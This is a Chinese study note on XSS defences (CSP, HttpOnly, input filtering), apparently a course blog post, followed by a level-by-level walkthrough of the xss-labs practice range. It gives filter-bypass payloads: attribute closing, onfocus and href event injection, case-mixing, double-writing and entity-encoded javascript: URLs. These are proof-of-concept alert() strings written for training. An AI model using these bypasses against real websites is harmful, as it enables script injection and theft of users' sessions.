055-Web攻防-XSS防御&HttpOnly&CSP&靶场工具等

知识点

1、XSS跨站-安全防御-CSP策略
2、XSS跨站-安全防御-HttpOnly
3、XSS跨站-安全防御-XSSFilter

常用标签:xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户
https://xz.aliyun.com/t/4067

1.XSS跨站-安全防御-CSP

1
2
3
4
5
6
7
8
9
CSP (Content Security Policy 内容安全策略)  各种语言都存在,只不过设置不同
内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容。
该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单(当外部资源不在白名单内,禁止网站访问外部资源),
它的实现和执行全部由浏览器完成,开发者只需提供配置。
禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
合理使用上报可以及时发现XSS,利于尽快修复问题。

简单案例

  • header("Content-Security-Policy:img-src 'self' ");开启之后只允许加载本地源图片:
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28

    * ![image-20250525164140032](/img/image-20250525164140032.png)

    * ![image-20250525171017228](/img/image-20250525171017228.png)

    * ![image-20250525164224347](/img/image-20250525164224347.png)

    * 开启CSP后XSS的加载情况

    * ![image-20250525171906600](/img/image-20250525171906600.png)

    * 未开启CSP后XSS的加载情况

    * 图片加载成功 平台也收到了图片的访问记录

    * ![image-20250525171056934](/img/image-20250525171056934.png)

    * ![image-20250525171115721](/img/image-20250525171115721.png)

    **绕过方法:有但鸡肋**

    https://xz.aliyun.com/t/12370
    [Web安全2.3:CSP安全策略、Cookie、Session、同源策略、HTML DOM树_同源策略与内容安全策略的区别-CSDN博客](https://blog.csdn.net/a1766855068/article/details/89370320)



    ### 2. XSS跨站-安全防御-HttpOnly

    禁止页面的JavaScript访问带有HttpOnly属性的Cookie。 php和java都有该设置

PHP.INI设置或代码引用,三种方式设置:
-session.cookie_httponly =1
-ini_set(“session.cookie_httponly”, 1);
-setcookie(‘’, ‘’, time() + 3600, ‘/xss’, ‘’, false, true);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

**简单案例**

* 没有开启HttpOnly时XSS窃取Cookie的加载情况

* ![image-20250525172659971](/img/image-20250525172659971.png)
* ![image-20250525172823145](/img/image-20250525172823145.png)

* ![image-20250525172951831](/img/image-20250525172951831.png)

开启HttpOnly时XSS窃取Cookie的加载情况

* ![image-20250525173342089](/img/image-20250525173342089.png)
* ![image-20250525173354127](/img/image-20250525173354127.png)
* ![image-20250525173429055](/img/image-20250525173429055.png)

绕过:有但鸡肋
(1) CVE-2012-0053
(2) PHPINFO页面/
(3) Flash/Java
参考文章:[XSS攻击之HttpOnly绕过-CSDN博客](https://blog.csdn.net/weixin_42478365/article/details/116597222)

思路:不[获取Cookie](https://so.csdn.net/so/search?q=获取Cookie&spm=1001.2101.3001.7020)采用方式(钓鱼,浏览器攻击框架等)

### 3. XSS跨站-安全防御-XSSFilter(过滤器的意思)

检查用户输入的数据中是否包含特殊字符, 如<、>、’、”,进行实体化等。

实验:手工分析&工具分析
Xss-Lab 标签及常见过滤绕过
环境下载:GitHub - Re13orn/xss-lab: 20 level xss lab by network!!!
常用标签:xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户
https://xz.aliyun.com/t/4067
工具下载项目:GitHub - s0md3v/XSStrike: Most advanced XSS scanner.
工具使用参考地址:xss测试工具xsstrike(基于python3)-CSDN博客



#### **1.无任何过滤**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

![image-20250525175313506](/img/image-20250525175313506.png)

![image-20250525175258197](/img/image-20250525175258197.png)



#### 2、实体化 输入框没有

* 这里将<>实体化了

* 这里“”将代码过滤了要进行过滤 我们要闭合左右两个“ ”是得代码能够执行

* ```
"> <script>alert()</script> <"//<>标签前面有空格

image-20250525175658605

image-20250525175757786

image-20250525180240551

3、全部实体化 利用标签事件 单引号闭合

  • 这关输入上关的代码发现 这里将“ ”实体化了 我们要绕过实体化 这里可以使用input标签事件

  • ' onfocus=javascript:alert() '//这里单元号前面有空格
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

    ![image-20250525182121152](/img/image-20250525182121152.png)

    ![image-20250525182537738](/img/image-20250525182537738.png)



    #### 4、全部实体化 利用标签事件 双引号闭合

    * 这里发现是使用双引号进行闭合的

    " onfocus=javascript:alert() "
1
2
3
4
5
6
7
8
9
10
11
12
13

![image-20250525182947191](/img/image-20250525182947191.png)



#### 5、事件关键字过滤 利用其他标签调用 双引号闭合

* 它这里对onfocus时间进行了过滤将on变为了on_

* 这里使用其他事件进行绕过

* ```
"> <a href=javascript:alert()>xxx</a> <"

image-20250525183500719

image-20250525183706174

6、利用大小写未正则匹配

  • 这关对我的script进行了过滤 我们这里使用大小写绕过

  • "> <sCript>alert()</sCript> <"
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

    * ![image-20250525183834350](/img/image-20250525183834350.png)

    #### 7、利用双写绕过匹配

    * 这一关输入代码后发现 直接将我们的script过滤为空了

    * 我们使用上一关的代码在这原有的基础上面在加一成

    * ```
    "> <sCscriptript>alert()</sCscriptript> <"
    或者
    "> <a hrehreff=javasscriptcript:alert()>x</a> <"
    ![image-20250525184237006](/img/image-20250525184237006.png)

image-20250525184146934

8、利用Unicode编码

  • 这里输入代码点击友情链接后发现会对我们的代码进行过滤
  • 我们这里对我们的代码进行unicode编码之后进行输入
1
2
3
4
javascript:alert()
unicode编码后:
&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0029

image-20250525194400372

image-20250525194639712

image-20250525194821200

9、利用Unicode编码(内容检测)

  • 这里对http进行了检测
1
&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0029;('http://')

134d6bf0844fb32fdd77593277394c7f

image-20250525195329459

11、隐藏属性触发闭合

  • 这里对输入框进行了隐藏 如果在黑盒中 这三个隐藏都要进行测试

  • 将hidden删除 输入下面的代码

  • ?t_sort=" onfocus=javascript:alert() type="txt
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21

    * ![image-20250525195909421](/img/image-20250525195909421.png)

    * ![image-20250525200123445](/img/image-20250525200123445.png)

    #### 11-20

    [xss-labs靶场实战全通关详细过程(xss靶场详解)-CSDN博客](https://blog.csdn.net/l2872253606/article/details/125638898)

    **黑盒XSS手工分析:**
    1、页面中显示的数据找可控的(有些隐藏的)
    2、利用可控地方发送JS代码去看执行加载情况
    3、成功执行即XSS,不能成功就看语句输出的地方显示(过滤)
    4、根据显示分析为什么不能执行(实体化,符号括起来,关键字被删除等)实体化基本绕过不了

    ### XSStrike工具的安装及使用(包括实战应用)

    [XSStrike工具的安装及使用(包括实战应用)](https://blog.csdn.net/m0_73353130/article/details/130425618)

    * XSStrike是一款检测Cross Site Scripting的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。

<a%0aonPointeREnTer%0d=%0dconfirm()%0dx>v3dm0s